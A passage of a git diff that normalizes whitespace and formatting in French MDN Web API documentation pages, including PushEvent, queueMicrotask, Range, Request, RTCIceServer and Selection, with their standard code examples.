Push](/fr/docs/Web/API/Simple_Push_API). diff --git a/files/fr/web/api/pushevent/index.md b/files/fr/web/api/pushevent/index.md index a1364ab73c..7c190dfbd2 100644 --- a/files/fr/web/api/pushevent/index.md +++ b/files/fr/web/api/pushevent/index.md @@ -39,29 +39,29 @@ L'exemple suivant prends les données du `PushEvent` et les affiche sur tous les ```js self.addEventListener('push', function(event) { - if (!(self.Notification && self.notification.permission === 'granted')) { - return; - } - - var data = {}; - if (event.data) { - data = event.data.json(); - } - var title = data.title || "Something Has Happened"; - var message = data.message || "Here's something you might want to check out."; - var icon = "images/new-notification.png"; - - var notification = new Notification(title, { - body: message, - tag: 'simple-push-demo-notification', - icon: icon - }); - - notification.addEventListener('click', function() { - if (clients.openWindow) { - clients.openWindow('https://example.blog.com/2015/03/04/something-new.html'); - } - }); + if (!(self.Notification && self.notification.permission === 'granted')) { + return; + } + + var data = {}; + if (event.data) { + data = event.data.json(); + } + var title = data.title || "Something Has Happened"; + var message = data.message || "Here's something you might want to check out."; + var icon = "images/new-notification.png"; + + var notification = new Notification(title, { + body: message, + tag: 'simple-push-demo-notification', + icon: icon + }); + + notification.addEventListener('click', function() { + if (clients.openWindow) { + clients.openWindow('https://example.blog.com/2015/03/04/something-new.html'); + } + }); }); ``` diff --git a/files/fr/web/api/queuemicrotask/index.md b/files/fr/web/api/queuemicrotask/index.md index 5fb7f410eb..71d5c61121 100644 --- a/files/fr/web/api/queuemicrotask/index.md +++ b/files/fr/web/api/queuemicrotask/index.md @@ -25,13 +25,13 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/queueMicrotask --- {{APIRef("HTML DOM")}} -La méthode **`queueMicrotask()`**, qui est exposée par {{domxref("Window")}} ou l'interface {{domxref("Worker")}}, met en file d'attente une micro-tâche qui doit être exécutée à un moment sûr avant que le contrôle soit retourné à la boucle d'événement du navigateur. +La méthode **`queueMicrotask()`**, qui est exposée par {{domxref("Window")}} ou l'interface {{domxref("Worker")}}, met en file d'attente une micro-tâche qui doit être exécutée à un moment sûr avant que le contrôle soit retourné à la boucle d'événement du navigateur. La micro-tâche est une fonction courte qui doit être exécutée après que la tâche actuelle ait terminé son exécution et lorsqu'il n'y a pas d'autre code en attente d'exécution avant que le contrôle du contexte d'exécution soit retourné à la boucle d'événement du navigateur. -Cela permet à votre code de fonctionner sans interférer avec aucun autre code potentiellement à une plus haute priorité en attente, mais avant que le navigateur ne regagne le contrôle du contexte d'exécution, qui dépend potentiellement de la tâche que vous devez effectuer. Vous pouvez en apprendre plus sur comment utiliser les micro-tâches et pourquoi vous devriez le faire dans notre [microtask guide](/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide). +Cela permet à votre code de fonctionner sans interférer avec aucun autre code potentiellement à une plus haute priorité en attente, mais avant que le navigateur ne regagne le contrôle du contexte d'exécution, qui dépend potentiellement de la tâche que vous devez effectuer. Vous pouvez en apprendre plus sur comment utiliser les micro-tâches et pourquoi vous devriez le faire dans notre [microtask guide](/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide). -L'importance des micro-tâches vient de leur possibilité d'effectuer des tâches de manière asynchrone mais dans un ordre spécifique. Voir [Using microtasks in JavaScript with queueMicrotask()](/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide) pour plus de détails. +L'importance des micro-tâches vient de leur possibilité d'effectuer des tâches de manière asynchrone mais dans un ordre spécifique. Voir [Using microtasks in JavaScript with queueMicrotask()](/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide) pour plus de détails. Les micro-tâches sont particulièrement utiles pour les librairies et les frameworks qui doivent effectuer un nettoyage final ou d'autres tâches à exécuter avant le rendu. @@ -44,7 +44,7 @@ Les micro-tâches sont particulièrement utiles pour les librairies et les frame ### Paramètres - `function` - - : Une {{jsxref("function")}} qui doit être exécutée lorsque le moteur du navigateur détermine qu'il est sûr d'appeler votre code. Les micro-tâches mises en files d'attente sont exécutées après la fin de toutes les tâches en attente mais avant de céder le contrôle à la boucle d'événement du navigateur. + - : Une {{jsxref("function")}} qui doit être exécutée lorsque le moteur du navigateur détermine qu'il est sûr d'appeler votre code. Les micro-tâches mises en files d'attente sont exécutées après la fin de toutes les tâches en attente mais avant de céder le contrôle à la boucle d'événement du navigateur. ### Valeur de retour @@ -58,7 +58,7 @@ self.queueMicrotask(() => { }) ``` -Tiré de la [spécification de queueMicrotask](https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#microtask-queuing) : +Tiré de la [spécification de queueMicrotask](https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#microtask-queuing) : ```js MyElement.prototype.loadData = function (url) { @@ -79,7 +79,7 @@ MyElement.prototype.loadData = function (url) { ## Lorsque queueMicrotask() n'est pas disponible -Le code ci-dessous est une prothèse d'émulation (_polyfill_) pour `queueMicrotask()`. Il crée une micro-tâche en utilisant une promesse qui se résout immédiatement, et utilise un timeout si la promesse ne peut pas être créée. +Le code ci-dessous est une prothèse d'émulation (_polyfill_) pour `queueMicrotask()`. Il crée une micro-tâche en utilisant une promesse qui se résout immédiatement, et utilise un timeout si la promesse ne peut pas être créée. ```js if (typeof window.queueMicrotask !== "function") { diff --git a/files/fr/web/api/range/createcontextualfragment/index.md b/files/fr/web/api/range/createcontextualfragment/index.md index d5e9c573f2..51d37771ef 100644 --- a/files/fr/web/api/range/createcontextualfragment/index.md +++ b/files/fr/web/api/range/createcontextualfragment/index.md @@ -3,7 +3,7 @@ title: Range.createContextualFragment() slug: Web/API/Range/createContextualFragment translation_of: Web/API/Range/createContextualFragment --- -La méthode **`Range.createContextualFragment()`** retourne un {{domxref("DocumentFragment")}} en invoquant l’algorithme d’analyse de fragment HTML ou l’algorithme d’analyse de fragment XML, avec le début du `range` (le _parent_ du nœud sélectionné) comme nœud de contexte. L’algorithme d’analyse de fragment HTML est utilisé si le `range` appartient à un `Document` dont le bit « HTMLness » est défini. Dans le cas du HTML, si le nœud de contexte est censé être `html`, pour des raisons historiques l’algorithme d’analyse de fragment est invoqué avec `body` pour contexte à la place. +La méthode **`Range.createContextualFragment()`** retourne un {{domxref("DocumentFragment")}} en invoquant l’algorithme d’analyse de fragment HTML ou l’algorithme d’analyse de fragment XML, avec le début du `range` (le _parent_ du nœud sélectionné) comme nœud de contexte. L’algorithme d’analyse de fragment HTML est utilisé si le `range` appartient à un `Document` dont le bit « HTMLness » est défini. Dans le cas du HTML, si le nœud de contexte est censé être `html`, pour des raisons historiques l’algorithme d’analyse de fragment est invoqué avec `body` pour contexte à la place. ## Syntaxe diff --git a/files/fr/web/api/range/detach/index.md b/files/fr/web/api/range/detach/index.md index c02aaa937a..4f5ae53467 100644 --- a/files/fr/web/api/range/detach/index.md +++ b/files/fr/web/api/range/detach/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Range/detach --- {{ApiRef("DOM")}} -La méthode **`Range.detach()`** n'a aucun effet. Elle permet de désactiver l'objet {{domxref("Range")}} et de libérer les ressources associées. Cette méthode a été conservée pour des raisons de compatibilités. +La méthode **`Range.detach()`** n'a aucun effet. Elle permet de désactiver l'objet {{domxref("Range")}} et de libérer les ressources associées. Cette méthode a été conservée pour des raisons de compatibilités. ## Syntaxe diff --git a/files/fr/web/api/range/selectnode/index.md b/files/fr/web/api/range/selectnode/index.md index eca4135b5a..ae46f4752f 100644 --- a/files/fr/web/api/range/selectnode/index.md +++ b/files/fr/web/api/range/selectnode/index.md @@ -19,7 +19,7 @@ La méthode `Range.selectNode()` définit le {{domxref ("Range")}} destiné à c ### Paramètres - _noeudDeReference_ - - : Le {{domxref("Node")}} à choisir à l'intérieur d'un `{domxref("Range")}}`. + - : Le {{domxref("Node")}} à choisir à l'intérieur d'un `{domxref("Range")}}`. ## Exemple diff --git a/files/fr/web/api/range/setstart/index.md b/files/fr/web/api/range/setstart/index.md index 6eb71bd8ca..15f73cf216 100644 --- a/files/fr/web/api/range/setstart/index.md +++ b/files/fr/web/api/range/setstart/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Range/setStart La méthode **`Range.setStart()`** définit la position de départ d'un objet [`Range`](/fr/docs/Web/API/Range). -Si le `startNode` est un {{ domxref("Node") }} de type `Text`, `Comment`, ou `CDATASection`, alors startOffset est le nombre de caractères depuis le départ du `startNode`. Pour les autres types de `Nœud`, `startOffset` est le nombre de noeuds enfants entre le debut du `startNode`. +Si le `startNode` est un {{ domxref("Node") }} de type `Text`, `Comment`, ou `CDATASection`, alors startOffset est le nombre de caractères depuis le départ du `startNode`. Pour les autres types de `Nœud`, `startOffset` est le nombre de noeuds enfants entre le debut du `startNode`. Si vous définissez le point de départ en dessous (plus bas dans le document), le point final entraînera une plage réduite avec les points de départ et de fin réglés tous les deux sur la position de départ spécifiée. diff --git a/files/fr/web/api/range/surroundcontents/index.md b/files/fr/web/api/range/surroundcontents/index.md index e157cd42f2..f422e72dcc 100644 --- a/files/fr/web/api/range/surroundcontents/index.md +++ b/files/fr/web/api/range/surroundcontents/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/Range/surroundContents La méthode **`Range.surroundContents()`** déplace le contenu du {{ domxref("Range") }} dans un nouveau nœud, plaçant le nouveau nœud au début du `range` spécifié. -Cette méthode est à peu près équivalente à : +Cette méthode est à peu près équivalente à : ```js newNode.appendChild(range.extractContents()); @@ -16,7 +16,7 @@ range.insertNode(newNode) Après déplacement, les bornes du `range` incluent `newNode`. -Cependant, une exception sera levée si le {{ domxref("Range") }} découpe un nœud non-{{ domxref("Text") }} sur une seule de ses bornes. C’est-à-dire que, contrairement à l’alternative ci-dessus, s’il y a des nœuds partiellement sélectionnés, ils ne seront pas clonés ; à la place, l’opération échouera. +Cependant, une exception sera levée si le {{ domxref("Range") }} découpe un nœud non-{{ domxref("Text") }} sur une seule de ses bornes. C’est-à-dire que, contrairement à l’alternative ci-dessus, s’il y a des nœuds partiellement sélectionnés, ils ne seront pas clonés ; à la place, l’opération échouera. ## Syntaxe diff --git a/files/fr/web/api/request/mode/index.md b/files/fr/web/api/request/mode/index.md index bc19ee5f28..f10d557e03 100644 --- a/files/fr/web/api/request/mode/index.md +++ b/files/fr/web/api/request/mode/index.md @@ -22,7 +22,7 @@ Une valeur {{domxref("RequestMode")}}. ## Exemple -Dans le bout de code suivant, nous créons une nouvelle requête en utilisant le constructeur {{domxref("Request.Request()")}} (pour une image située dans le même répertoire que le script), puis on stocke le mode de la requête dans une variable: +Dans le bout de code suivant, nous créons une nouvelle requête en utilisant le constructeur {{domxref("Request.Request()")}} (pour une image située dans le même répertoire que le script), puis on stocke le mode de la requête dans une variable: ```js var myRequest = new Request('flowers.jpg'); diff --git a/files/fr/web/api/request/request/index.md b/files/fr/web/api/request/request/index.md index b4b2872f72..bcc43cdab0 100644 --- a/files/fr/web/api/request/request/index.md +++ b/files/fr/web/api/request/request/index.md @@ -41,7 +41,7 @@ Le constructeur **`Request()`** crée un nouvel objet {{domxref("Request")}}. - `credentials`: Les informations d'authentification de requête que vous souhaitez utiliser pour la requête : `omit`, `same-origin`, ou `include`. La valeur par défaut est `omit`. Dans Chrome, la valeur par défaut est `same-origin` avant Chrome 47 et `include` à partir de Chrome 47. - `cache`: Le [mode de cache](/en-US/docs/Web/API/Request/cache) que vous voulez utiliser pour la requête. - `redirect`: Le mode de redirection à utiliser : `follow`, `error`, ou `manual`. Dans Chrome, le défaut est `manual` avant Chrome 47 et `follow` à partir de Chrome 47. - - `referrer`: Une {{domxref("USVString")}} indiquant `no-referrer`, `client`, ou une URL. La valeur par défaut est `client`. + - `referrer`: Une {{domxref("USVString")}} indiquant `no-referrer`, `client`, ou une URL. La valeur par défaut est `client`. - `integrity`: Contient la valeur d'[intégrité de la sous ressource](/en-US/docs/Web/Security/Subresource_Integrity) de la requête (par ex.., `sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=`). ## Erreurs @@ -93,7 +93,7 @@ Notez que vos pouvez aussi passer l'objet init dans l'appel à `fetch` pour obte ```js fetch(maRequete,monInit).then(function(reponse) { - ... + ... }); ``` diff --git a/files/fr/web/api/rtciceserver/index.md b/files/fr/web/api/rtciceserver/index.md index 9b51e6d84e..7adc70aea0 100644 --- a/files/fr/web/api/rtciceserver/index.md +++ b/files/fr/web/api/rtciceserver/index.md @@ -5,30 +5,30 @@ translation_of: Web/API/RTCIceServer --- {{APIRef("WebRTC")}} -RTCIceServer définit comment se connecter à un serveur ICE unique (comme un serveur {{Glossary("STUN")}} ou {{Glossary("TURN")}}). Il comprend à la fois l'URL et les éventuelle informations d'identification nécessaires pour se connecter au serveur. +RTCIceServer définit comment se connecter à un serveur ICE unique (comme un serveur {{Glossary("STUN")}} ou {{Glossary("TURN")}}). Il comprend à la fois l'URL et les éventuelle informations d'identification nécessaires pour se connecter au serveur. ## Propriétés - {{domxref("RTCIceServer.credential", "credential")}} {{optional_inline}} - - : Les informations d'identification à utiliser lors de la connexion au serveur. Celles‑ci sont utilisées uniquement si `RTCIceServer` est un serveur TURN. + - : Les informations d'identification à utiliser lors de la connexion au serveur. Celles‑ci sont utilisées uniquement si `RTCIceServer` est un serveur TURN. - {{domxref("RTCIceServer.credentialType", "credentialType")}} {{optional_inline}} - - : Si `RTCIceServer` est un serveur TURN, cet attribut spécifie quel type d'information d'identification doit être utilisé lors de la connexion. Ce doit être l'une des valeurs définies par l'énumération {{domxref("RTCIceCredentialType")}}. La valeur par défaut est `password`. + - : Si `RTCIceServer` est un serveur TURN, cet attribut spécifie quel type d'information d'identification doit être utilisé lors de la connexion. Ce doit être l'une des valeurs définies par l'énumération {{domxref("RTCIceCredentialType")}}. La valeur par défaut est `password`. - {{domxref("RTCIceServer.url", "url")}} {{obsolete_inline}} - - : Cette propriété obsolète est une chaîne spécifiant l'URL d'un serveur ICE unique. **Ne pas utiliser cette propriété; utiliser plutôt {{domxref("RTCIceServer.urls")}}**. Étant donné que de nombreux livres et exemples anciens l'utilisent encore, nous l'incluons pour aider les développeurs à mettre à jour leur code ou donner un sens a des exemples plus anciens. + - : Cette propriété obsolète est une chaîne spécifiant l'URL d'un serveur ICE unique. **Ne pas utiliser cette propriété; utiliser plutôt {{domxref("RTCIceServer.urls")}}**. Étant donné que de nombreux livres et exemples anciens l'utilisent encore, nous l'incluons pour aider les développeurs à mettre à jour leur code ou donner un sens a des exemples plus anciens. - {{domxref("RTCIceServer.urls", "urls")}} - - : Cette propriété est **obligatoire**, elle peut être soit une seule {{domxref("DOMString")}} ou un tableau de {{domxref("DOMString")}} , spécifiant chacun une URL qui peut être utilisée pour se connecter au serveur. + - : Cette propriété est **obligatoire**, elle peut être soit une seule {{domxref("DOMString")}} ou un tableau de {{domxref("DOMString")}} , spécifiant chacun une URL qui peut être utilisée pour se connecter au serveur. - {{domxref("RTCIceServer.username", "username")}} {{optional_inline}} - - : Si `RTCIceServer` est un serveur TURN, alors ceci est le nom d'utilisateur à utiliser pendant le processus d'authentification. + - : Si `RTCIceServer` est un serveur TURN, alors ceci est le nom d'utilisateur à utiliser pendant le processus d'authentification. -Évitez de spécifier un nombre inutilement élevé d'URL dans la propriété `urls`; le temps de démarrage de votre connexion va augmenter sensiblement. Chaque serveur dans la liste sera contacté et testé avant d'en choisir un pour être utilisé pour la négociation. +Évitez de spécifier un nombre inutilement élevé d'URL dans la propriété `urls`; le temps de démarrage de votre connexion va augmenter sensiblement. Chaque serveur dans la liste sera contacté et testé avant d'en choisir un pour être utilisé pour la négociation. > **Note :** Les anciennes versions de la spécification WebRTC incluent une propriété `url` au lieu de `urls`; cela a été changé afin de vous permettre de spécifier plusieurs adresses pour chaque serveur dans la liste, comme le montre l'exemple ci-dessous. ## Constantes -### Enumeration RTCIceCredentialType +### Enumeration RTCIceCredentialType -L'enumeration `RTCIceCredentialType` spécifie les valeurs qui peuvent être renvoyés par la propriété credentialType pour définir quel type d'authentification est fournie dans la propriété {{domxref("RTCIceServer.credential")}}. Cela peut être l'une des valeurs ci‑dessous. +L'enumeration `RTCIceCredentialType` spécifie les valeurs qui peuvent être renvoyés par la propriété credentialType pour définir quel type d'authentification est fournie dans la propriété {{domxref("RTCIceServer.credential")}}. Cela peut être l'une des valeurs ci‑dessous. | Constante | Description | | ------------ | ----------------------------------------------------------------------------------------------- | diff --git a/files/fr/web/api/rtcpeerconnection/setconfiguration/index.md b/files/fr/web/api/rtcpeerconnection/setconfiguration/index.md index 8ef8585440..70f4712c1e 100644 --- a/files/fr/web/api/rtcpeerconnection/setconfiguration/index.md +++ b/files/fr/web/api/rtcpeerconnection/setconfiguration/index.md @@ -46,10 +46,10 @@ Dans cet exemple, on a déjà determiné qu'un redémarrage ICE est nécessaire ```js var restartConfig = { iceServers: [{ - urls: "turn:asia.myturnserver.net", - username: "allie@oopcode.com", - credential: "topsecretpassword" - }] + urls: "turn:asia.myturnserver.net", + username: "allie@oopcode.com", + credential: "topsecretpassword" + }] }; myPeerConnection.setConfiguration(restartConfig); diff --git a/files/fr/web/api/screen_capture_api/index.md b/files/fr/web/api/screen_capture_api/index.md index 114b3d1d4a..a838aec0c6 100644 --- a/files/fr/web/api/screen_capture_api/index.md +++ b/files/fr/web/api/screen_capture_api/index.md @@ -42,7 +42,7 @@ L'API Screen Capture n'a pas sa propre interface. Cependant, elle ajoute une mé ### Interface MediaDevices - {{domxref("MediaDevices.getDisplayMedia()")}} - - : La méthode `getDisplayMedia()` est ajoutée à l'interface `MediaDevices`. Similaire à {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, cette méthode crée une promise qui method creates a promise qui résout un {{domxref("MediaStream")}} contenant la zone d'affichage sélectionnée par l'utilisateur, dans un format qui correspond aux options spécifiées. + - : La méthode `getDisplayMedia()` est ajoutée à l'interface `MediaDevices`. Similaire à {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, cette méthode crée une promise qui method creates a promise qui résout un {{domxref("MediaStream")}} contenant la zone d'affichage sélectionnée par l'utilisateur, dans un format qui correspond aux options spécifiées. ## Ajouts aux dictionnaires actuels @@ -51,7 +51,7 @@ L'API Screen Capture ajoute des propriétés au dictionnaire suivant définit pa ### MediaTrackConstraints - {{domxref("MediaTrackConstraints.cursor")}} - - : Un {{domxref("ConstrainDOMString")}} indiquant si le curseur doit ou non être inclus dans le flux de la surface d'affichage capturée, et s'il doit toujours être visible ou s'il ne doit l'être que lorsque la souris est en mouvement. + - : Un {{domxref("ConstrainDOMString")}} indiquant si le curseur doit ou non être inclus dans le flux de la surface d'affichage capturée, et s'il doit toujours être visible ou s'il ne doit l'être que lorsque la souris est en mouvement. - {{domxref("MediaTrackConstraints.displaySurface")}} - : Un {{domxref("ConstrainDOMString")}} indiquant quel type de surface d'affichage doit être capturé. La valeur peut être `application`, `browser`, `monitor`, ou `window`. - {{domxref("MediaTrackConstraints.logicalSurface")}} @@ -86,7 +86,7 @@ Le dictionnaire suivant est difinit par l'API Screen Capture. ## Validation de Feature Policy -{{Glossary("User agent", "User agents")}} qui supportent Feature Policy (soit en utilisant les entetes HTTP {{HTTPHeader("Feature-Policy")}} ou l'attribut {{HTMLElement("iframe")}}{{htmlattrxref("allow", "iframe")}} peut spécifier la volonté d'utiliser l'API Screen Capture API en utilisant la directive Policy Controle `display-capture`: +{{Glossary("User agent", "User agents")}} qui supportent Feature Policy (soit en utilisant les entetes HTTP {{HTTPHeader("Feature-Policy")}} ou l'attribut {{HTMLElement("iframe")}}{{htmlattrxref("allow", "iframe")}} peut spécifier la volonté d'utiliser l'API Screen Capture API en utilisant la directive Policy Controle `display-capture`: ```html <iframe allow="display-capture" src="/some-other-document.html"> diff --git a/files/fr/web/api/scriptprocessornode/audioprocess_event/index.md b/files/fr/web/api/scriptprocessornode/audioprocess_event/index.md index 0fe6ac1161..41e4baf91e 100644 --- a/files/fr/web/api/scriptprocessornode/audioprocess_event/index.md +++ b/files/fr/web/api/scriptprocessornode/audioprocess_event/index.md @@ -71,8 +71,8 @@ L'événement **audioprocess** est déclenché lorsqu'un tampon d'entrée d'une nombre de canaux est défini par le paramètre <code><em>numberOfInputChannels</em> de la méthode </code >{{domxref("AudioContext.createScriptProcessor()")}}. - Noter que <code>le<em> AudioBuffer</em></code - ><code> retourné</code><em><code> </code></em>est seulement valide + Noter que le <em><code>AudioBuffer</em></code + > retourné est seulement valide dans la portée de la fonction <em><code>onaudioprocess.</code></em> </p> </td> @@ -99,7 +99,7 @@ L'événement **audioprocess** est déclenché lorsqu'un tampon d'entrée d'une | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}} | {{Spec2('Web Audio API')}} | | ## Compatibilités navigateur diff --git a/files/fr/web/api/selection/collapse/index.md b/files/fr/web/api/selection/collapse/index.md index e965caa639..a9481d0ede 100644 --- a/files/fr/web/api/selection/collapse/index.md +++ b/files/fr/web/api/selection/collapse/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Selection/collapse --- {{ApiRef("DOM")}}{{SeeCompatTable}} -La méthode **`Selection.collapse()`** positionne la sélection en cours en un seul point. Le document n'est pas modifié. Si le focus est sur le contenu et est modifiable, le curseur d'édition s'y positionnera et sera visible. +La méthode **`Selection.collapse()`** positionne la sélection en cours en un seul point. Le document n'est pas modifié. Si le focus est sur le contenu et est modifiable, le curseur d'édition s'y positionnera et sera visible. ## Syntaxe @@ -26,7 +26,7 @@ La méthode **`Selection.collapse()`** positionne la sélection en cours en un <!----> - _`offset`_ - - : Indique la position du curseur d'édition dans `parentNode`. + - : Indique la position du curseur d'édition dans `parentNode`. ## Exemples @@ -40,7 +40,7 @@ window.getSelection().collapse(body,0); | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ------------------- | -| {{SpecName('Selection API', '#widl-Selection-collapse-void-Node-node-unsigned-long-offset', 'Selection.collapse()')}} | {{Spec2('Selection API')}} | | +| {{SpecName('Selection API', '#widl-Selection-collapse-void-Node-node-unsigned-long-offset', 'Selection.collapse()')}} | {{Spec2('Selection API')}} | | | {{SpecName('HTML Editing', '#dom-selection-collapse', 'Selection.collapse()')}} | {{Spec2('HTML Editing')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/selection/index.md b/files/fr/web/api/selection/index.md index a06b3a3314..62be1ee258 100644 --- a/files/fr/web/api/selection/index.md +++ b/files/fr/web/api/selection/index.md @@ -11,7 +11,7 @@ La classe de l'objet retourné par [`window.getSelection()`](Window/getSelection ### Description -Un objet `selection` représente les [plages](range) sélectionnées par l'utilisateur. Habituellement, il ne contient qu'une seule plage accessible comme ceci : +Un objet `selection` représente les [plages](range) sélectionnées par l'utilisateur. Habituellement, il ne contient qu'une seule plage accessible comme ceci : range = sel.getRangeAt(0); @@ -25,47 +25,47 @@ L'appel de la méthode [`toString()`](Selection/toString) renvoie le texte conte Autres mots clés utilisés dans cette section. - anchor (ancre) - - : L'« ancre » d'une sélection est son point de départ. Pour une sélection avec la souris, l'« ancre » correspond à l'endroit initialement pressé par le bouton de la souris. Quand l'utilisateur modifie la sélection à la souris ou au clavier, l'« ancre » ne change pas. + - : L'« ancre » d'une sélection est son point de départ. Pour une sélection avec la souris, l'« ancre » correspond à l'endroit initialement pressé par le bouton de la souris. Quand l'utilisateur modifie la sélection à la souris ou au clavier, l'« ancre » ne change pas. - focus (focus) - - : Le « focus » d'une sélection est son point d'arrivée. Pour une sélection avec la souris, le « focus » correspond à l'endroit où le bouton de la souris est relaché. Quand l'utilisateur modifie la sélection à la souris ou au clavier, le « focus » pointe la fin de la sélection modifiée. + - : Le « focus » d'une sélection est son point d'arrivée. Pour une sélection avec la souris, le « focus » correspond à l'endroit où le bouton de la souris est relaché. Quand l'utilisateur modifie la sélection à la souris ou au clavier, le « focus » pointe la fin de la sélection modifiée. - range (plage) - - : Une « plage » est une partie contigüe d'un document. Une « plage » peut contenir aussi bien des nœuds entiers que des portions de nœuds, comme un extrait de nœud texte. Habituellement, un utilisateur n'effectuera qu'une seule sélection à la fois, mais il lui est possible de sélectionner plusieurs « plages » (par ex. en utilisant la touche Ctrl). Une « plage » est obtenue depuis une sélection par l'objet [range](range). Les objets `range` peuvent également être créés via le DOM et ajoutés ou supprimés d'une sélection par programmation. + - : Une « plage » est une partie contigüe d'un document. Une « plage » peut contenir aussi bien des nœuds entiers que des portions de nœuds, comme un extrait de nœud texte. Habituellement, un utilisateur n'effectuera qu'une seule sélection à la fois, mais il lui est possible de sélectionner plusieurs « plages » (par ex. en utilisant la touche Ctrl). Une « plage » est obtenue depuis une sélection par l'objet [range](range). Les objets `range` peuvent également être créés via le DOM et ajoutés ou supprimés d'une sélection par programmation. ### Propriétés - [anchorNode](/fr/docs/Web/API/Selection/anchorNode) - : Renvoie le nœud d'où la sélection commence. - [anchorOffset](/fr/docs/Web/API/Selection/anchorOffset) - - : Renvoie un nombre correspondant au décalage de l'« ancre » de la sélection au sein de l'`anchorNode`. Si l'`anchorNode` est un noeud texte, il s'agit du nombre de caractères précédants l'« ancre » au sein de l'`anchorNode`. Si l'`anchorNode` est un élément, il s'agit du nombre de noeuds enfants de l'`anchorNode` précédant l'« ancre ». + - : Renvoie un nombre correspondant au décalage de l'« ancre » de la sélection au sein de l'`anchorNode`. Si l'`anchorNode` est un noeud texte, il s'agit du nombre de caractères précédants l'« ancre » au sein de l'`anchorNode`. Si l'`anchorNode` est un élément, il s'agit du nombre de noeuds enfants de l'`anchorNode` précédant l'« ancre ». - [focusNode](/fr/docs/Web/API/Selection/focusNode) - : Renvoie le nœud où la sélection se termine. - [focusOffset](/fr/docs/Web/API/Selection/focusOffset) - - : Renvoie un nombre correspondant au décalage du « focus » de la sélection au sein du focus`Node`. Si le focus`Node` est un noeud texte, il s'agit du nombre de caractères précédants le « focus » au sein du focus`Node`. Si le focusNode est un élément, il s'agit du nombre de noeuds enfants du focus`Node` précédant le « focus ». + - : Renvoie un nombre correspondant au décalage du « focus » de la sélection au sein du focus`Node`. Si le focus`Node` est un noeud texte, il s'agit du nombre de caractères précédants le « focus » au sein du focus`Node`. Si le focusNode est un élément, il s'agit du nombre de noeuds enfants du focus`Node` précédant le « focus ». - [isCollapsed](/fr/docs/Web/API/Selection/isCollapsed) - : Renvoie un booléen indiquant si le point de départ et d'arrivée sont à la même position. - [rangeCount](/fr/docs/Web/API/Selection/rangeCount) - - : Renvoie le nombre de « plages » dans la sélection. + - : Renvoie le nombre de « plages » dans la sélection. ### Méthodes - [getRangeAt](/fr/docs/Web/API/Selection/getRangeAt) - - : Renvoie un objet range représentant une des « plages » actuellement sélectionnée. + - : Renvoie un objet range représentant une des « plages » actuellement sélectionnée. - [collapse](/fr/docs/Web/API/Selection/collapse) - : Réduit la sélection courante à un simple point. - [extend](/fr/docs/Web/API/Selection/extend) - - : Déplace le « focus » de la sélection à un endroit spécifié. + - : Déplace le « focus » de la sélection à un endroit spécifié. - [collapseToStart](/fr/docs/Web/API/Selection/collapseToStart) - - : Déplace le « focus » de la sélection au même point que l'« ancre ». + - : Déplace le « focus » de la sélection au même point que l'« ancre ». - [collapseToEnd](/fr/docs/Web/API/Selection/collapseToEnd) - - : Déplace l'« ancre » de la sélection au même point que le « focus ». Le « focus » ne bouge pas. + - : Déplace l'« ancre » de la sélection au même point que le « focus ». Le « focus » ne bouge pas. - [selectAllChildren](/fr/docs/Web/API/Selection/selectAllChildren) - : Ajoute tous les enfants d'un nœud spécifié à la sélection. - [addRange](/fr/docs/Web/API/Selection/addRange) - : Un objet range devant être ajouté à la sélection. - [removeRange](/fr/docs/Web/API/Selection/removeRange) - - : Supprime une « plage » de la sélection. + - : Supprime une « plage » de la sélection. - [removeAllRanges](/fr/docs/Web/API/Selection/removeAllRanges) - - : Supprime toutes les « plages » de la sélection. + - : Supprime toutes les « plages » de la sélection. - [deleteFromDocument](/fr/docs/Web/API/Selection/deleteFromDocument) - : Efface le contenu de la sélection du document. - [selectionLanguageChange](/fr/docs/Web/API/Selection/selectionLanguageChange) @@ -81,7 +81,7 @@ Autres mots clés utilisés dans cette section. ### Voir aussi -[window.getSelection](Window/getSelection), [`document.getSelection()`](/fr/docs/Web/API/Document/getSelection),[Range](range) +[window.getSelection](Window/getSelection), [`document.getSelection()`](/fr/docs/Web/API/Document/getSelection),[Range](range) ### Liens externes diff --git a/files/fr/web/api/selection/tostring/index.md b/files/fr/web/api/selection/tostring/index.md index 23ce054696..83e8641441 100644 --- a/files/fr/web/api/selection/tostring/index.md +++ b/files/fr/web/api/selection/tostring/index.md @@ -25,7 +25,7 @@ Aucun. Cette méthode renvoie le texte sélectionné. -En [JavaScript](fr/JavaScript), cette méthode est appelée automatiquement pour des objets `selection` aux fonctions nécessitant un paramètre `string` : +En [JavaScript](fr/JavaScript), cette méthode est appelée automatiquement pour des objets `selection` aux fonctions nécessitant un paramètre `string` : alert(window.getSelection()) // Appel automatique alert(window.getSelection().toString()) // Appel explicite diff --git a/files/fr/web/api/server-sent_events/index.md b/files/fr/web/api/server-sent_events/index.md index e9c5ff2191..7d9f8085e8 100644 --- a/files/fr/web/api/server-sent_events/index.md +++ b/files/fr/web/api/server-sent_events/index.md @@ -6,7 +6,7 @@ tags: - TopicStub translation_of: Web/API/Server-sent_events --- -Habituellement, une page web doit envoyer une requête au serveur pour obtenir de nouvelles données. Avec les server-Sent events, le serveur peut envoyer de nouvelles données vers une page web à n'importe quel moment. La page web reçoit alors ces nouveaux messages qui peuvent être traités comme des événements contenant des données. +Habituellement, une page web doit envoyer une requête au serveur pour obtenir de nouvelles données. Avec les server-Sent events, le serveur peut envoyer de nouvelles données vers une page web à n'importe quel moment. 